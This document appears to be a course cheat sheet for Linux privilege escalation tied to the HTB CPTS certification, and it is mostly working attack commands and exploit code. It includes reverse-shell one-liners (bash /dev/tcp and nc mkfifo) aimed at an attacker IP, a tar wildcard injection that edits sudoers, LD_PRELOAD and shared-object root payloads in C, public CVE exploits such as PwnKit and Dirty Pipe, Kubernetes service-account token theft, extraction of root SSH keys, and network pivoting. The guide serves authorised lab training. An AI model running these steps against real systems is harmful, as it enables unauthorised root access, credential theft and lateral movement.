FLOW ^: Pentest Workflow

Linux Privilege Escalation — CPTS Cheat Sheet

Updated CPTS field reference for linux privilege escalation — cpts cheat sheet.

intermediate updated 2026-08-29 LinPEAS (linpeas.sh / linpeas_linux_amd64) / lse.sh / LinEnum · pspy (pspy64 / pspy32) · linux-exploit-suggester · GTFOBins

Linux Privilege Escalation — CPTS Cheat Sheet fas:ClipboardList

[!dashboard] Workflow navigation Dashboard: HTB Pentest Workflow · Previous: Common Applications

Next: Windows PrivEsc · Simple appendix: Linux PrivEsc Cheat Sheet

Source module: 25 · Linux Privilege Escalation · Attack-flow stage: 12 - Stage 09 - Privilege Escalation

Summary ris:Eye

From a low-privilege shell to root. The loop is always the same: enumerate broadly → identify the one vector → exploit it precisely. Kick off the bundled automated enum (§0) in the first minutes, then work the vectors manually. Prefer the least-invasive path (SUID/capability/sudo misconfig) over a kernel exploit, which can panic the box. This card walks the module’s vectors: initial situational awareness, cron/scheduled-task abuse, credential hunting, restricted-shell escape + env-var abuse, sudo & privileged-group abuse, Docker/Kubernetes escapes, kernel/SUID/SGID/capabilities, and the “remaining” library-hijack/NFS/tmux/logrotate vectors — then turning the rooted host into a pivot.

[!danger]+ HTB-Only Boundary fas:TriangleExclamation

  1. Authorized labs/engagements only. Kernel exploits (esp. CVE-2022-25636) can corrupt the kernel / force a reboot — get sign-off; prefer SUID/cap/sudo paths.
  2. When weaponising a script a root job runs, append, never overwrite, and keep a backup so the legitimate task still completes.
  3. Clean up droppers (/tmp/sh, fake .so/.py, rogue SUID binaries) — they’re live local backdoors.

[!tip]+ Live command libraries

  • GTFOBins — search a Linux/Unix binary, then select the function that matches the real context: sudo, SUID, capabilities, shell, file read/write or another permitted primitive.
  • WADComs — command-focused Windows and Active Directory companion for later lateral-movement or cross-platform work.
  • LOLBAS — Windows-native binary, script and library companion.

A listed binary is not automatically exploitable. Match the page’s required permissions and invocation to sudo -l, SUID/capability state, file ACLs and installed version.

Linux privesc methodologyLR
whoami / id / sudo -luname -a
Run LinPEAS / lse.sh+ pspy for timing
Vector?
sudo/GTFOBins · groups(lxd/docker/disk)
cron / writable script/ PATH / wildcard
SUID-SGID / capability/ SO hijack
kernel CVE (last resort)
root
pivot hostchisel / ligolo-ng

0 · Automated enum — run these first fas:Bolt

Bundled, hash-checked copies live in attachments/ — no internet needed on the target. Transfer, verify, run, and tee the output so you can re-grep it after the scrollback is gone.

[!important]+ Automated enum — run these first fas:Bolt

  1. LinPEAS script[linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc))
    chmod +x linpeas.sh && ./linpeas.sh -a | tee linpeas.out
    -a runs all checks (noisier and slower — worth it in a lab). Expect noise; afterwards grep the [+] sections and the red/yellow highlights instead of reading top to bottom.
  2. LinPEAS static binary[linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas_linux_amd64.sha256.asc)) — for minimal targets where the script chokes (no bash/coreutils, weird BusyBox). chmod +x linpeas_linux_amd64 && ./linpeas_linux_amd64 | tee linpeas.out.
  3. pspy[pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc)) (or [pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256) · [GPG signature](/downloads/pentest-workflow/pspy32.sha256.asc)) on 32-bit targets):
    ./pspy64 -pf -i 1000
    Watches every process + filesystem events without credsUID=0 lines are root jobs. This is how you catch the cron jobs and timers §2 describes that crontab -l never shows you. Leave it running in a second pane while you enumerate.

Run all three in parallel: LinPEAS tee’d to a file, pspy live, and manual sudo -l / SUID / getcap checks while they churn.

Transfer methods reminder:

# attacker
python3 -m http.server 8000

# target
wget http://10.10.14.3:8000/linpeas.sh -O /tmp/linpeas.sh
curl -o /tmp/pspy64 http://10.10.14.3:8000/pspy64

# or, with SSH creds
scp linpeas.sh pspy64 user@$IP:/tmp/

Hash check — verify staged binaries against [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc)) before executing:

sha256sum linpeas.sh linpeas_linux_amd64 pspy64
grep -E 'linpeas|pspy' SHA256SUMS.txt        # eyeball-compare, or:
sha256sum --ignore-missing -c SHA256SUMS.txt  # OK / FAILED per file

1 · Initial enumeration fas:Terminal

# First five on any new shell
whoami; id; hostname; ip a; sudo -l

# OS / kernel (feed to exploit-suggester)
cat /etc/os-release; uname -a; cat /proc/version
cat /etc/lsb-release; lscpu; cat /etc/shells

# PATH / env / mounts / net
echo $PATH; env
lsblk; cat /etc/fstab; route; cat /etc/hosts; arp -a

# Users, groups, readable hashes
cat /etc/passwd; grep "sh$" /etc/passwd
cat /etc/group; getent group sudo
cat /etc/passwd | head -n1        # a real hash here (not 'x') = crack it now

# Homes, hidden files, temp, processes, history
ls -la /home/*/
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep <user>
ls -l /tmp /var/tmp /dev/shm
ps aux | grep root; w; lastlog; history

[!info]+ Hash prefixes & GTFOBins candidate list $1$=MD5 · $5$=SHA-256 · $6$=SHA-512 · $2a$=BCrypt · $argon2i$=Argon2.

find /usr/bin /usr/sbin /bin /sbin /usr/local/bin \
  -maxdepth 1 -type f -executable -printf '%f\n' 2>/dev/null \
  | sort -u | tee installed-binaries.txt

Search interesting names at GTFOBins, especially anything present in sudo -l, SUID/SGID results or getcap -r /. Scraping the website into a loop is brittle and loses the function-specific prerequisites shown on each entry.

[!tip]+ Automated enumeration fas:Lightbulb LinPEAS (run first — kernel vs exploit-DB, SUID/SGID vs GTFOBins, caps, world-writable Python/lib paths, RUNPATH, no_root_squash, creds) · linux-smart-enumeration (./lse.sh -l1, second opinion) · pspy / pspy64 (root cron/timing without root) · linux-exploit-suggester (feeds uname -r) · Lynis (./lynis audit system). Bundled offline copies + transfer/hash-check workflow: see §0. Note active controls: AppArmor, SELinux, Fail2ban, ufw.


2 · Cron & scheduled-task abuse fas:Terminal

# Enumerate
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.d/
crontab -l
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null   # world-writable files

# Confirm a root job live (UID=0 in output) — pspy catches jobs crontab -l never shows
./pspy64 -pf -i 1000

PATH abuse — hijack an unqualified command a root cron calls:

echo $PATH
PATH=.:${PATH}; export PATH
echo 'echo "PATH ABUSE!!"' > ls && chmod +x ls

tar wildcard injection (cron does tar -zcf backup.tar.gz * in a writable dir):

echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1
# after the job fires:
sudo -l && sudo su      # (root) NOPASSWD: ALL

Writable backup script → reverse shell (append, keep a backup):

echo 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' >> /dmz-backups/backup.sh
nc -lnvp 443

systemd services and timers

Cron is not the only root scheduler. A timer activates a service, and the useful write may be in the unit, an EnvironmentFile=, the ExecStart= script, or a parent directory.

# Find the trigger, then resolve the service it activates.
systemctl list-timers --all
systemctl list-unit-files --type=timer --type=service
systemctl cat <name>.timer
systemctl cat <name>.service
# Pull the fields that decide whether the path is exploitable.
systemctl show <name>.service \
  -p User \
  -p Group \
  -p ExecStart \
  -p EnvironmentFiles \
  -p FragmentPath
# Check unit search paths and every component of the executed path.
systemd-path systemd-system-unit
find /etc/systemd/system /usr/local/lib/systemd/system \
  -type f -writable -ls 2>/dev/null
namei -l /path/from/ExecStart
# Writable unit check — a writable .service/.timer = rewrite ExecStart= and trigger it.
find /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system /run/systemd/system \
  -type f \( -name '*.service' -o -name '*.timer' \) -writable 2>/dev/null

# If 'sudo systemctl daemon-reload' or 'sudo systemctl start <unit>' is permitted:
# reload + start fires your edited ExecStart immediately. Otherwise wait for the timer
# or the next reboot — and keep the original unit backed up either way.

[!tip] Exploit condition You need a privileged unit plus a file or directory you can modify, or a permitted sudo systemctl start/restart action. Back up the file, preserve its legitimate behavior, record the original hash, and restore it after proving execution.


3 · Credential & config hunting fas:Terminal

Application configurations

# Start with likely app roots instead of searching the whole filesystem.
find /var/www /opt /srv /home -type f \
  \( -name 'wp-config.php' -o -name '.env' -o -name 'configuration.php' \
     -o -name 'settings.php' -o -name 'web.config' \) \
  -readable -print 2>/dev/null
# Search only readable config-like files in high-value roots.
find /etc /opt /srv /var/www /home -type f \
  \( -name '*.conf' -o -name '*.config' -o -name '*.ini' \
     -o -name '*.yml' -o -name '*.yaml' -o -name '.env' \) \
  -readable -print0 2>/dev/null |
  xargs -0 grep -nIiE 'pass(word)?|secret|token|api[_-]?key|connection' 2>/dev/null

SSH and shell history

# SSH material and lateral targets.
ls -la ~/.ssh
sed -n '1,120p' ~/.ssh/config ~/.ssh/known_hosts 2>/dev/null
# Current history, then common database/shell history files.
history
find /home /root -type f \
  \( -name '.*history' -o -name '*_history' -o -name '*_hist' \) \
  -readable -ls 2>/dev/null

Deeper secret mining across .git: trufflehog, gitleaks.

Process environments and open descriptors

Long-running services sometimes receive secrets through environment variables or keep deleted configuration files open. Access to another process’s /proc/<pid> data is permission-controlled, so only inspect entries the current identity may read.

ps eww -u "$USER"
find /proc/[0-9]*/environ -readable -type f 2>/dev/null
for env_file in /proc/[0-9]*/environ; do
  [ -r "$env_file" ] || continue
  strings "$env_file"
done |
  grep -Ei 'pass(word)?|secret|token|api[_-]?key|database_url|aws_'
# Deleted-but-open files and interesting descriptors.
lsof -nP 2>/dev/null | grep -i deleted
find /proc/[0-9]*/fd -lname '*deleted*' -ls 2>/dev/null

4 · Restricted shell escape & env-var abuse fas:Terminal

Restricted shells: rbash/rksh/rzsh. Escape via injection, substitution, chaining (;/|), env-var modification, functions.

ls -l `pwd`                                              # command substitution
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh  # GTFOBins escape

[!bug]+ LD_PRELOAD (sudo env_keep+=LD_PRELOAD) sudo -l shows env_keep+=LD_PRELOAD. root.c:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
gcc -fPIC -shared -o root.so root.c -nostartfiles
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

Works even against absolute-path sudoers entries.


5 · Sudo rights & privileged-group abuse fas:Terminal

[!important]+ sudo -l is always the first check Run it before LinPEAS finishes scrolling. Any entry — even “boring” ones like openssl, tar or find — maps to a GTFOBins function. Also note env_keep (LD_PRELOAD, §4), SETENV, and !authenticate/NOPASSWD.

sudo -l                 # what can I run as another user?
sudo -V | head -n1      # exact version for CVE matching
aa-status               # check AppArmor before the tcpdump path
id                      # note groups: sudo / lxd / docker / disk / adm

GTFOBins — for any binary in sudo -l, check the matching sudo, SUID, capability, shell or file-access function (e.g. sudo find / -exec /bin/sh \; -quit, sudo vim -c ':!/bin/sh', sudo less!/bin/sh, awk 'BEGIN {system("/bin/sh")}').

File read via sudo — no shell required. Anything with a read primitive leaks root files; openssl is the classic:

LFILE=/root/.ssh/id_rsa
sudo openssl enc -in "$LFILE"     # prints root's private key to stdout
# attacker side: save it, chmod 600 id_rsa, ssh -i id_rsa root@$IP

tcpdump -z postrotate:

# /tmp/.test:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
nc -lnvp 443            # "Permission denied" in output is misleading — payload still ran

Sudo CVEs:

# CVE-2021-3156 (Baron Samedit) — heap overflow in sudoedit; sudo 1.8.2–1.9.5p2,
# no sudoers entry needed; target index must match /etc/lsb-release.
# Triggered via sudoedit (`sudoedit -s /` or `sudoedit -i`).
# Quick check: `sudoedit -s /` → "sudoedit: /: not a regular file" = vulnerable, usage error = patched.
git clone https://github.com/blasty/CVE-2021-3156.git && cd CVE-2021-3156 && make
./sudo-hax-me-a-sandwich          # then ./sudo-hax-me-a-sandwich <index>

# CVE-2023-22809 (sudoedit bypass) — sudo <1.9.12p2 AND a sudoedit entry in sudo -l;
# EDITOR env injection appends an arbitrary file to the allowed list.
EDITOR='vim -- /etc/sudoers' sudoedit -s /etc/hosts

# CVE-2025-32463 ("chwoot") — sudo 1.9.14–1.9.17, no sudoers entry needed; `sudo -R <dir>`
# resolves paths inside an attacker-controlled chroot and loads a malicious nsswitch.conf → root.
sudo -V | head -n1                # 1.9.14–1.9.17 = candidate; PoC: exploit-db 52352

# CVE-2019-14287 (UID -1 bypass) — needs one permitted command, sudo < 1.8.28
sudo -u#-1 id

# CVE-2021-4034 (PwnKit / pkexec) — no sudoers/group needed
git clone https://github.com/arthepsy/CVE-2021-4034.git && cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc && ./poc

LXD/LXC group (full escape):

lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t && lxc exec r00t /bin/sh
#   inside: /mnt/root/root = host /root (shadow, ssh keys)

disk group → debugfs /dev/sda1 reads/writes the whole FS as root. adm → read all /var/log.


6 · Docker escape fas:Terminal

# Bind-mounted host dir inside the container (e.g. /hostsystem)
cat /hostsystem/root/.ssh/id_rsa

# Docker socket reachable from the container
/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
/tmp/docker -H unix:///app/docker.sock exec -it <id> /bin/bash

# 'docker' group on the host = root
docker run -v /root:/mnt -it ubuntu            # or mount /etc for /etc/shadow

# Writable /var/run/docker.sock (no group) — fastest host shell
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash

Enum/escape helper: deepce.


7 · Kubernetes escape fas:Terminal

Ports: etcd 2379/2380 · API server 6443 · Kubelet API 10250 · read-only Kubelet 10255.

curl https://$IP:6443 -k                        # system:anonymous 403 = expected
curl https://$IP:10250/pods -k | jq .            # Kubelet often allows anon

# kubeletctl — enumerate, find RCE, exec
kubeletctl -i --server $IP pods
kubeletctl -i --server $IP scan rce
kubeletctl -i --server $IP exec "id" -p nginx -c nginx

# Steal the service-account token + CA
kubeletctl -i --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee k8.token
kubeletctl --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee ca.crt

# What can this token do? then deploy a host-mounting pod
export token=$(cat k8.token)
kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 auth can-i --list
kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 apply -f privesc.yaml

privesc.yaml red flags to weaponise: hostPath: path: / + hostNetwork: true; then read /root/root/.ssh/id_rsa from the mounted host. Recon: kube-hunter; compliance: kube-bench.


8 · Kernel exploits, SUID/SGID & capabilities fas:Terminal

[!warning]+ Kernel sploits are the last resort fas:TriangleExclamation Work the config / service / credential paths first — a wrong kernel exploit panics the box, burns your shell, and reboots away your planted files. Always match uname -r + distro against the CVE window before compiling on-target:

  • DirtyPipe (CVE-2022-0847) — kernels 5.8–5.16.11 unpatched (fixed in 5.16.11 / 5.15.25 / 5.10.102).
  • PwnKit (CVE-2021-4034) — polkit pkexec; ~every distro shipped before Jan 2022; not kernel-version-dependent, and far less likely to panic than a kernel bug.
  • overlayfs — CVE-2021-3493 (Ubuntu overlayfs, pre-Apr 2021) / CVE-2023-0386 (kernels 5.11–6.2); needs unprivileged user namespaces (sysctl kernel.unprivileged_userns_clone).
# Generic workflow — compile ON the target
uname -a; cat /etc/lsb-release
gcc kernel_exploit.c -o kernel_exploit && ./kernel_exploit

# Dirty Pipe — CVE-2022-0847 (kernels 5.8–5.16.11 unpatched)
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh
./exploit-1                      # rewrites /etc/passwd, pops root
./exploit-2 /usr/bin/sudo        # hijacks a SUID binary → /tmp/sh (clean this up)
Netfilter CVEKernelsNote
CVE-2021-225552.6–5.11heap OOB via setsockopt
CVE-2022-256365.4–5.6.10may corrupt kernel / reboot
CVE-2023-32233≤6.3.1UAF in nf_tables anon sets
# SUID / SGID discovery
find / -perm -4000 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null   # SUID
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null   # SGID

# Capabilities enumeration + cap_dac_override via vim
getcap -r / 2>/dev/null
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd   # blanks root's password

Caps that lead to root: cap_setuid, cap_setgid, cap_sys_admin, cap_dac_override, cap_dac_read_search. Common weaponisations:

CapabilitySeen onPath to root
cap_setuid+eppython / perl./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' · ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
cap_dac_read_search+eptartar xf /root/root.txt -I '/bin/sh -c "cat 1>&2"' — reads any file regardless of permissions
cap_dac_override+epvimthe /etc/passwd blank-root edit above

Also: screen 4.5.0 SUID → writes /etc/ld.so.preload/tmp/rootshell.


9 · Remaining vectors fas:Terminal

Shared-object hijack (RUNPATH):

ldd payroll; readelf -d payroll | grep PATH     # RUNPATH: [/development] (world-writable = vuln)
// src.c — reimplement the exact undefined symbol the binary calls (e.g. dbquery)
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void dbquery() { printf("Malicious library loaded\n"); setuid(0); system("/bin/sh -p"); }
gcc src.c -fPIC -shared -o /development/libshared.so && ./payroll

Python library hijacking (three flavours):

# (a) writable module file — inject os.system('id') into the real function
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py   # world-writable?
sudo /usr/bin/python3 ./mem_status.py

# (b) path priority — drop a fake module in a higher-priority world-writable dir
python3 -c 'import sys; print("\n".join(sys.path))'
# fake psutil.py: def virtual_memory(): os.system('id')

# (c) sudo SETENV → PYTHONPATH
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

Writable account and policy files — a direct path that automated scripts can bury in noise:

ls -l /etc/passwd /etc/shadow /etc/group /etc/sudoers
for account_file in /etc/passwd /etc/shadow /etc/group /etc/sudoers; do
  [ -w "$account_file" ] && printf 'WRITABLE %s\n' "$account_file"
done

[!warning] Preserve authentication state A writable account database proves a critical control failure. If exploitation is required, take a timestamped backup and use a reversible test account or authorized sudoers drop-in—never blank or replace the real root credential.

NFS no_root_squash (from an attacker box with real root):

showmount -e $IP; cat /etc/exports          # /tmp *(rw,no_root_squash)
# shell.c: int main(void){ setuid(0); setgid(0); system("/bin/bash"); }
gcc shell.c -o shell
sudo mount -t nfs $IP:/tmp /mnt && cp shell /mnt && chmod u+s /mnt/shell
# on target (low-priv): ./shell

tmux session hijack (member of the owner’s group):

ps aux | grep tmux            # root ... tmux -S /shareds new -s debugsess
tmux -S /shareds              # attaches to root's session

logrotten (writable log + logrotate 3.8.6/3.11.0/3.15.0/3.18.0):

git clone https://github.com/whotwagner/logrotten.git && cd logrotten && gcc logrotten.c -o logrotten
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
nc -nlvp 9001 & ./logrotten -p ./payload /tmp/tmp.log

10 · After root — pivot the host fas:NetworkWired

[!tip]+ The rooted box is a pivot, not the finish line fas:NetworkWired Root often exposes a second NIC or an internal subnet — check ip a, ip r, arp -a. Stage a pivot agent from attachments/:

chisel[chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc)) — fast reverse SOCKS:

# attacker (listens):
chisel server -p 9001 --reverse
# rooted target:
./chisel_linux_amd64 client 10.10.14.3:9001 R:socks
# attacker: socks5 on 127.0.0.1:1080 → proxychains nmap 10.129.x.0/24

ligolo-ng[ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc)) — full routed interface (better for scanners that dislike SOCKS):

# attacker: ./proxy -selfcert -laddr 0.0.0.0:11601
# target:   ./agent -connect 10.10.14.3:11601 -ignore-cert
# attacker (proxy console): session → ifcreate → start, then add a route to the internal subnet

Enumerate the new segment’s services with Sheet 01, and get a stable shell first if the agent keeps dropping — Sheet 06.


CVE quick index ris:GlobalLine

CVEComponentPrereqTool
CVE-2021-4034 (PwnKit)polkit pkexecnonearthepsy/CVE-2021-4034
CVE-2021-3156 (Baron Samedit)sudoedit 1.8.2–1.9.5p2noneblasty/CVE-2021-3156
CVE-2023-22809sudoedit <1.9.12p2sudoedit entry in sudo -lEDITOR env injection
CVE-2025-32463 (“chwoot”)sudo 1.9.14–1.9.17noneexploit-db 52352
CVE-2019-14287sudo <1.8.281 sudoers entrysudo -u#-1
CVE-2022-0847 (Dirty Pipe)kernel 5.8–5.16.11noneDirtyPipe-Exploits
CVE-2023-0386overlayfs, kernel 5.11–6.2unpriv. usernsPoC on GitHub
CVE-2021-22555kernel 2.6–5.11nonegoogle/security-research PoC
CVE-2016-5195 (Dirty COW)kernel <4.8nonedirtycow PoC

Lessons Learned & gotchas fas:Lightbulb

  1. Enumerate before you exploit. LinPEAS + sudo -l + find SUID + getcap answers most boxes; pspy catches the timing-based ones.
  2. Automated first, but tee it. Run the bundled linpeas.sh / pspy64 (§0) in the first minutes, tee everything to a file, and hash-check transferred binaries against SHA256SUMS.txt before executing them.
  3. Least-invasive first. SUID/capability/sudo/group beats a kernel exploit — kernels panic, and some Netfilter CVEs reboot the host. Match uname -r to the CVE window before compiling anything.
  4. Append, don’t overwrite. Weaponising a root-run script means adding a line and keeping the original intact, or you break the job and tip off defenders.
  5. Every credential is reusable. Try discovered passwords against all users/services/hosts; known_hosts + arp -a are your lateral map.
  6. Clean up. Rogue SUID binaries, fake .so/.py, /tmp/sh, sudoers edits — remove them all.
  7. Check 10250 even when 6443 says no. Kubelet often allows anonymous access when the API server is locked down.
  8. Root is a beachhead. Check for a second NIC immediately and stage chisel or ligolo-ng (§10) before the box resets.

References fas:BookOpen

  1. HTB Academy — Linux Privilege Escalation
  2. GTFOBins · PEASS-ng (LinPEAS)
  3. linux-exploit-suggester · pspy
  4. PayloadsAllTheThings — Linux Privilege Escalation
  5. systemd unit documentation · Linux kernel /proc documentation
  6. HackTricks — Linux Privilege Escalation
  7. Sudo advisory — CVE-2025-32463 (chroot)
  8. chisel · ligolo-ng
  9. WADComs — Windows/AD commands · LOLBAS — Windows living-off-the-land binaries

[!navigation] Continue the CPTS workflow Previous: Attacking Common Applications

Dashboard: HTB Pentest Workflow

Next: Windows Privilege Escalation

#HTB #CPTS #LinuxPrivEsc #PrivEsc #PostExploitation